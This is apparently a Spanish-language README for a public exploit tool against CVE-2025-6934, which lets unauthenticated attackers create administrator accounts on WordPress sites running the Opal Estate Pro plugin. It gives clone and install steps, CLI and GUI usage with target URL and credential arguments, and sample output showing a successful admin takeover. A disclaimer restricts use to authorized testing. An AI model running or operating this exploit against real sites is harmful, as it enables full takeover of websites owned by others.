🔓 Herramienta de Explotación CVE-2025-6934

Creación de cuenta de administrador no autenticada en el plugin Opal Estate Pro de WordPress

📋 Descripción

CVE-2025-6934 es una vulnerabilidad crítica en el plugin Opal Estate Pro de WordPress (versiones <= 1.7.5) que permite a atacantes no autenticados crear cuentas de administrador en sitios WordPress vulnerables.

Esta herramienta incluye versiones CLI (Interfaz de Línea de Comandos) y GUI (Interfaz Gráfica de Usuario) para explotar esta vulnerabilidad.

⚠️ Detalles de la vulnerabilidad

🛠️ Instalación

Requisitos previos

# Clone the repository
git clone https://github.com/mejbankadir/CVE-2025-6934.git
cd CVE-2025-6934

# Install dependencies
pip install -r requirements.txt

Dependencias

requests
beautifulsoup4
colorama
PyQt6        # For GUI version only

🚀 Uso

Versión GUI (recomendada)

python3 CVE-2025-6934-GUI.py

Características de la GUI:

• Interfaz moderna con tema oscuro
• Progreso de la explotación en tiempo real
• Salida de consola con colores
• Validación de entrada
• Ejecución no bloqueante

Versión CLI

python3 CVE-2025-6934.py -u http://target.com -mail [email protected] -password P@ssw0rd123

Argumentos:

-u, --url        Target URL (required)
-mail, --newmail Email for admin account (required)
-password, --newpassword Password for admin account (required)
-user, --username Username for admin account (default: administrator)

📖 Ejemplo

┌─────────────────────────────────────────────────────────────┐
│  _____________   _______________                            │
│  \_   ___ \   \ /   /\_   _____/                           │
│  /    \  \/\   Y   /  |    __)_   ______                   │
│  \     \____\     /   |        \ /_____/                   │
│   \______  / \___/   /_______  /                           │
│           \/                  \/                           │
│                                                             │
│          CVE-2025-6934 Exploit PoC                         │
│                                                             │
│  Created and developed fully by mejbankadir                │
│  (SMH tech and Mejban HackSheild Under NexoAmicus)        │
└─────────────────────────────────────────────────────────────┘

Ejemplo CLI

$ python3 CVE-2025-6934.py -u http://example.com -mail [email protected] -password MyP@ss123

[•] Starting Exploit Attempt...
[•] Nonce Found: a1b2c3d4e5f6...
[✔] Exploit Successful!
    Username : administrator
    Email    : [email protected]
    Password : MyP@ss123
    Role     : administrator

🎨 Características

Versión CLI

• ✅ Banner con arte ASCII
• ✅ Salida con colores (usando colorama)
• ✅ Comprobación de versión
• ✅ Extracción de nonce
• ✅ Manejo de respuestas JSON

Versión GUI

• ✅ Interfaz moderna con tema oscuro
• ✅ Salida de consola en tiempo real
• ✅ Validación de entrada
• ✅ Ejecución en hilo en segundo plano
• ✅ Barra de estado
• ✅ Diseño adaptable

🔒 Aviso de seguridad

⚠️ ADVERTENCIA: Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

El acceso no autorizado a sistemas informáticos es ilegal y poco ético.

Al utilizar esta herramienta, aceptas:

• Probar únicamente sistemas que poseas o para los que tengas permiso explícito
• No utilizar esta herramienta con fines maliciosos
• Aceptar toda la responsabilidad por cualquier consecuencia legal

📝 Créditos

📂 Estructura del proyecto

CVE-2025-6934/
├── CVE-2025-6934.py       # CLI version
├── CVE-2025-6934-GUI.py   # GUI version
├── CVE-2025-6934.yaml     # Documentation
├── requirements.txt       # Python dependencies
└── README.md             # This file

🐛 Solución de problemas

Errores de certificado SSL

La herramienta desactiva automáticamente las advertencias SSL. Si encuentras problemas:

requests.packages.urllib3.disable_warnings()

Fallos en la extracción del nonce

• Asegúrate de que la URL objetivo sea correcta
• Comprueba si el plugin Opal Estate Pro está instalado
• Verifica que el sitio esté ejecutando WordPress

📜 Licencia

Licencia MIT

Copyright (c) 2025 mejbankadir (SMH tech y Mejban HackSheild Bajo NexoAmicus)